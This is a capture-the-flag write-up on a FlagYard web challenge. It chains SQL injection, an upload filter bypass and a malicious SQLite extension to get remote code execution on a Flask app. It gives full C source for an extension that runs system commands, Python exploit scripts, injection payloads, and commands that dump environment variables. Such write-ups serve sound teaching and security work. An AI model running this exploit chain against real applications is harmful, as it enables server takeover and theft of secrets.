Subscriber – [Web] (Hard) - FlagYard
Special thanks to #!SudoSqu!!d for the SQLite extension loading tip!
1. Challenge Overview
Challenge Description
Join the l33ts and subscribe to our innocent shop.
Subscriber is a web challenge from FlagYard featuring a Flask application with a deceptive vulnerability chain. The application offers email subscription and feedback submission functionality. At first glance, input validation and security controls appear to be in place, but multiple weaknesses combine to allow Remote Code Execution (RCE).
Challenge Details:
- Category: Web
- Difficulty: Hard
- Download: download link
- Note: Source code is exfiltrated (not provided with challenge)
Key Findings
The vulnerability chain exploits:
- Blind Boolean SQL Injection in the subscription endpoint
- File Upload Bypass through extension filtering logic
- SQLite Extension Loading for achieving RCE
- Custom SQL Functions for command execution
2. Challenge Architecture
The Flask application exposes three main endpoints:
/, Home page/subscribe, Email subscription form (POST)/feedback, Feedback file upload form (POST)
The backend uses SQLite as its database with conn.enable_load_extension(True) explicitly enabled, a critical security oversight.
3. Reconnaissance
Database Enumeration
Using blind boolean SQL injection on the updates_freq parameter, we identified:
- Framework: Flask
- Database: SQLite
- Injection Point:
updates_freqparameter in/subscribeendpoint
Database Schema Discovery
Tables found:
-
feedbacktable , Stores feedback submissions+----+-------+----------+-------------+ | id | title | filename | description | +----+-------+----------+-------------+ -
subscriberstable , Email subscriber records+----+-------+------------------+ | id | email | update_frequency | +----+-------+------------------+ -
updates_freqtable , Valid frequency options (reference data)+----+----------+--------+ | id | freq | option | +----+----------+--------+ | 1 | Daily | 0 | | 2 | Weekly | 1 | | 3 | Monthly | 2 | | 4 | 3-Months | 3 | | 5 | 6-Months | 4 | | 6 | 9-Months | 5 | | 7 | Yearly | 6 | +----+----------+--------+
4. Source Code Analysis
The source code (was exfiltrated after owning the challenge) reveals multiple critical vulnerabilities in app.py:
Vulnerability #1: SQL Injection in /subscribe Endpoint
Location: app.py, line 105
@app.route('/subscribe', methods=['GET', 'POST'])
def subscribe():
if request.method == 'POST':
try:
email = request.form['email']
update_option = request.form['updates_freq']
conn = sqlite3.connect('site.db')
# !! Extensions enabled!
conn.enable_load_extension(True)
cursor = conn.cursor()
# !! String interpolation without sanitization
cursor.execute(f"SELECT freq FROM updates_freq WHERE option = '{update_option}'")
update_frequency = cursor.fetchone()
conn.commit()
conn.close()
if update_frequency is None:
result = {'message': 'Invalid update frequency option.', 'status': 'warning'}
else:
result = {'message': 'You have successfully subscribed!', 'status': 'success'}
return jsonify(result), 200
Critical Issues:
- Line 103:
conn.enable_load_extension(True)explicitly enables SQLite extension loading, the foundation of the RCE exploit - Line 105: Direct f-string interpolation creates a blind boolean SQL injection vulnerability
- Design Flaw: The code never actually inserts records into the
subscriberstable, it only validates the frequency option
Vulnerability #2: File Upload Bypass in /feedback Endpoint
Location: app.py, lines 125-157
@app.route('/feedback', methods=['GET', 'POST'])
def feedback():
if request.method == 'POST':
try:
title = request.form['title']
description = request.form['description']
file = request.files['file']
filename = None
if file:
filename = file.filename
# !! File saved BEFORE validation!
file.save(os.path.join(app.config['UPLOAD_FOLDER'],
filename.replace('/', '').replace('..','')))
filtered_filename = filter_filename(filename)
mime_type = get_mime(file)
if not filtered_filename:
# File already on disk at this point!
os.remove(os.path.join(app.config['UPLOAD_FOLDER'],
filename.replace('/', '').replace('..','')))
return jsonify({'message': 'File type not allowed...'}), 400
else:
return jsonify({'message': 'File Uploaded successfully'}), 200
Extension Filtering Logic (Lines 59-66):
def filter_filename(filename):
file_ext = os.path.splitext(filename)[1].lower()
# !! Removes dots but preserves original extension
filename = filename.replace('.', '').replace('\\', '').replace('/','')
filename += file_ext
if is_allowed_file(file_ext):
return filename
else:
return False
def is_allowed_file(file_ext):
allowed_extensions = {'.jpeg', '.jpg', '.png', '.pdf'}
return file_ext in allowed_extensions
Extension Bypass Technique:
The filter only checks the file extension (.jpg, .png, etc.), not the actual file contents:
- Upload a compiled SQLite extension as
shell.sowith filenameshell.jpg - The file saves to
./uploads/shell.jpgwith binary.socontents - SQLite’s
load_extension()ignores file extensions and directly loads the shared object - Result:
load_extension('./uploads/shell.jpg')successfully loads malicious code
5. Vulnerability Deep Dive
Blind Boolean SQL Injection
The /subscribe endpoint accepts a POST request with email and updates_freq parameters. The updates_freq value is directly interpolated into a SQL query:
cursor.execute(f"SELECT freq FROM updates_freq WHERE option = '{update_option}'")
Attack Vector:
payload = "0' AND <condition> -- -"
data = {'email': '[email protected]', 'updates_freq': payload}
This becomes:
SELECT freq FROM updates_freq WHERE option = '0' AND <condition> -- -'
The -- comment syntax removes the trailing quote, allowing us to inject boolean conditions. Response times or other side channels can confirm true/false results for blind exploitation.
SQLite Extension Loading Mechanism
SQLite supports loading shared libraries that contain custom SQL functions. This is enabled when an application calls:
sqlite3_enable_load_extension(db, 1);
Python’s sqlite3 module exposes this via:
conn.enable_load_extension(True)
cursor.execute("SELECT load_extension('./path/to/extension.so')")
When a .so (shared object) is loaded, the SQLite library calls its initialization function (sqlite3_extension_init), which can register new SQL functions with arbitrary code execution.
6. Exploitation Strategy
The complete RCE exploit proceeds in three phases:
- Create a malicious SQLite extension (C code compiled to
.so) - Upload the extension via the
/feedbackendpoint (disguised as.jpg) - Use SQL injection in
/subscribeto load and initialize the extension - Invoke the custom SQL function to execute arbitrary system commands
- Extract the flag from the command output
7. Building the Malicious SQLite Extension
File: shell_extension.c
The SQLite extension defines a custom SQL function called execute() that runs arbitrary system commands:
#include <sqlite3.h>
#include <sqlite3ext.h>
#include <stddef.h>
#include <stdlib.h>
#include <stdio.h>
SQLITE_EXTENSION_INIT1
// Custom SQL function: execute(command_string)
static void executeCommand(sqlite3_context *context, int argc, sqlite3_value **argv) {
if (argc != 1) {
sqlite3_result_error(context, "Invalid number of arguments", -1);
return;
}
const unsigned char *cmd = sqlite3_value_text(argv[0]);
if (!cmd) {
sqlite3_result_error(context, "Null command received", -1);
return;
}
// Execute the system command
int ret = system((const char *)cmd);
if (ret != 0) {
char errorMessage[256];
snprintf(errorMessage, sizeof(errorMessage), "Command execution failed with return code: %d", ret);
sqlite3_result_error(context, errorMessage, -1);
} else {
sqlite3_result_text(context, "Command executed successfully", -1, SQLITE_TRANSIENT);
}
}
// Extension initialization
int sqlite3_extension_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi) {
SQLITE_EXTENSION_INIT2(pApi);
// Register the execute() function
int rc = sqlite3_create_function(db, "execute", 1, SQLITE_UTF8 | SQLITE_INNOCUOUS, NULL, executeCommand, NULL, NULL);
if (rc != SQLITE_OK) {
*pzErrMsg = sqlite3_mprintf("Failed to register 'execute' function: %d", rc);
return rc;
}
return SQLITE_OK;
}
Compilation:
gcc -shared -fPIC -o shell.so shell_extension.c -lsqlite3
Result: A shared library that registers the custom execute(command) SQL function accessible via SQL queries.
8. Exploitation Workflow
Phase 1: Upload the Malicious Extension
The compiled .so file is uploaded to the server via the /feedback endpoint with the filename shell.jpg:
#!/usr/bin/env python3
import requests
base_url = "http://your_url.playat.flagyard.com"
upload_filename = "shell.jpg" # Extension bypass: upload .so as .jpg
# Read the compiled shared object
with open('shell.so', 'rb') as f:
so_content = f.read()
# POST to /feedback endpoint
response = requests.post(f"{base_url}/feedback", data={
'title': 'System Extension',
'description': 'SQLite extension for analytics'
}, files={
'file': (upload_filename, so_content, 'application/octet-stream')
}, timeout=10)
print(f"[+] Upload status: {response.status_code}")
print(f"[+] Response: {response.text}")
print(f"[+] Extension saved as: ./uploads/{upload_filename}")
The file is saved to ./uploads/shell.jpg with binary .so contents.
Phase 2: Load the Extension via SQL Injection
Now we use the SQL injection vulnerability in /subscribe to load the extension:
#!/usr/bin/env python3
import requests
base_url = "http://your_url.playat.flagyard.com"
upload_path = "./uploads/shell.jpg"
# SQL injection payload to load the extension
response = requests.post( f"{base_url}/subscribe", data={
'email': '[email protected]',
'updates_freq': f"0' AND load_extension('{upload_path}') -- -"
}, timeout=10)
print(f"[+] Load extension status: {response.status_code}")
print(f"[+] Response: {response.text}")
This crafts a SQL query:
SELECT freq FROM updates_freq WHERE option = '0' AND load_extension('./uploads/shell.jpg') -- -'
When executed, SQLite:
- Loads the shared object at
./uploads/shell.jpg - Calls
sqlite3_extension_init() - Registers the
execute()SQL function
Phase 3: Execute Commands
With the extension loaded, we invoke commands via SQL injection. Since it’s blind injection, we redirect output to a file accessible from the web:
#!/usr/bin/env python3
import requests
base_url = "http://your_url.playat.flagyard.com"
# Command to execute (with output redirection)
command = "env > ./uploads/out.txt"
# Craft the injection payload
response = requests.post( f"{base_url}/subscribe", data={
'email': '[email protected]',
'updates_freq': f"0' AND execute('{command}') -- -"
}, timeout=10 )
print(f"[+] Command execution status: {response.status_code}")
# Retrieve the output
output_response = requests.get(f"{base_url}/uploads/out.txt", timeout=10)
if output_response.status_code == 200:
print(f"[+] Command output:")
print(output_response.text)
Commands to try:
cat /flag.txt > ./uploads/flag.txt, Read flag from rootls -la / > ./uploads/listing.txt, List root directoryenv > ./uploads/env.txt, Dump environment variableswhoami > ./uploads/whoami.txt, Check current user
10. Summary
This challenge demonstrates multi-stage attack chain combining three distinct vulnerability classes:
- Blind Boolean SQL Injection Allows calling arbitrary SQL functions
- File Upload Extension Bypass Enables uploading malicious code with benign filenames
- SQLite RCE via Extension Loading Custom extensions can execute arbitrary system commands
The critical vulnerability is the explicit conn.enable_load_extension(True) in the application’s database initialization. Combined with:
- Unsafe string interpolation in SQL queries
- Naive file extension filtering (ignores binary contents)
- Direct file system access for uploads
…the application becomes vulnerable to complete Remote Code Execution.
12. References
- SQLite Extension Loading: https://www.sqlite.org/loadext.html
- SQL Injection Techniques: https://portswigger.net/web-security/sql-injection
- Writing SQLite Extensions: https://www.sqlite.org/c3ref/create_function.html
- File Upload Security: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload